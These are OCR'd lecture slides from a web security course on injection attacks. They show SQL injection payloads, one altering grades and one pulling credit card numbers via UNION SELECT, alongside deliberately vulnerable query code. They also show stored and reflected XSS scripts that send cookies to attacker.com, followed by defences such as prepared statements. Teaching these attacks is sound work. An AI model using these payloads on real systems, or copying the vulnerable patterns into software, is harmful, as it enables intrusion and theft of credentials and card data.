Unsafe Server Code

advisorName = params|[:form][:advisor]
students = Student.find by sql (
"SELECT students.* " +
"FROM students, advisors " +
"WHERE student.advisor id = advisor.id " +
"AND advisor.name = '" + advisorName + "'");

Typical query:

SELECT students.* FROM students, advisors
WHERE student.adviso:_id = advisor.id
AND advisor.name = 'Jones'
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Injection Attack

Enter the following in the "Advisor name" field:

Jones';

UPDATE grades
SET g.grade = 4.0
FROM grades g, students s
WHERE g.student id = s.id
AND s.name = 'Smith

Resulting query:

SELECT students.* FROM students, advisors
WHERE student.advisor id = advisor.id
AND advisor.name = 'Jones';

UPDATE grades
SET g.grade = 4.0
FROM grades g, students s
WHERE g.student id = s.id
AND s.name = 'Smith'
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Stealing Private Information

£ view History - Mozilla Firefox -1o] =|
File Edit  View  Hiskory  Bookmarks  Tools  Help

i; g c x (R I |j |Fi|e:||'||',|'C:||'Documents and Settings/Iohn Oust 77~ |'|Gnogle )'T‘-'

Mast Visited

View Pizza Order History

Select manth: | January j

View

Cone Ii A
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Stealing Private Info, cont'd

Server query code:

month = params|[:form] [ :month]
orders = Orders.find by sql(

"SELECT pizza, toppings, quantity, date " +
"FROM orders " +

"WHERE user id=" + user id +
"AND order month=" + month);

What if "month" Is:

October AND 1=0

UNION SELECT name as pizza, card num as toppings,

exp mon as quantity, exp year as date
FROM credit cards '

CS 142 Lecture Notes: Injection Attacks Slide 4



Resulting Query

SELECT pizza, toppings, quantity, date
FROM orders
WHERE user id=94412
AND order month=October AND 1=0
UNION SELECT name as pizza, card num as toppings,
exp mon as quantity, exp year as date
FROM credit cards
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Resulting Query

SELECT pizza, toppings, quantity, date
FROM orders
WHERE user id=94412
AND order month=October AND 1=0
UNION SELECT name as pizza, card num as toppings,

exp mon as quantity, exp year as date
FROM credit cards

F - l = T - == v
file:/ /¥ T/ Users/ouster/ Documents/Stanford/courses/142/ lectun [y | |B v (Google g I_ ‘r {;} DE]'U‘ L
. -

J Your orders | + |

Your Pizza Orders in October AND 1=0 UNION SELECT
name as pizza, card_num as toppings, exp_mon as
quantity, exp_year as date FROM credit_cards

Pizza Toppings Quantity Date
Meil Daswani 3962 4081 33179011 11 2009
Caral Collins 7132 0315 9444 6123 4 2011
Robert Bowlman 4583 9224 0712 6734 & 2010
Li-Feng Chang 5010 2963 8442 9316 8 2012
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CardSystems Attack @,
T~

e CardSystems
= Credit card payment processing company
= SQL injection attack in June 2005

e The Attack

= Credit card #s stored unencrypted
= 263,000 credit card #s stolen from database
= 43 million credit card #s exposed
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Let Rails Handle SQL Escaping

Student.find by sql("SELECT students.* " +
"FROM students, advisors " +
"WHERE student.advisor id = advisor.id " +
"AND advisor.name = ?",
params|[:form] [ :advisor])
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Prepared Statements

PHP:

$statement = odbc prepare ($connection,

"SELECT * FROM students "

"WHERE advisor = ? AND gpa >= ?;");
odbc_execute ($statement, array($advisor, $gpa));

Java:

statement = connection.prepareStatement (
"SELECT * FROM students " +
"WHERE advisor = ? AND gpa >= ?;");
statement.setString (1, advisor);
statement.setString (2, gpa);
ResultSet rs = statement.executeQuery() ;
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Stored XSS Attack

Buggy server template:

<div class="blogComment'">
<%= @comment.message.html safe%>
</div>

No escaping!

Attacking blog entry:

I agree completely with Alice
<img style='"display:none" id="cookieMonster">
<script>
img = document.getElementById("cookieMonster") ;
img.src = "http://attacker.com?cookie=" +
encodeURIComponent (document. cookie) ;
</script>
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Reflected XSS Attack

Buggy server template:

<hl>Search Results</hl>
Results for <%= params|[:searchTerm] .html safe %>

_ No escaping!
Attacking search entry:

Justin Bieber
<img style="display:none" id="cookieMonster">
<script>
img = document.getElementById("cookieMonster") ;
img.src = "http://attacker.com?cookie=" +
encodeURIComponent (document. cookie) ;
</script>
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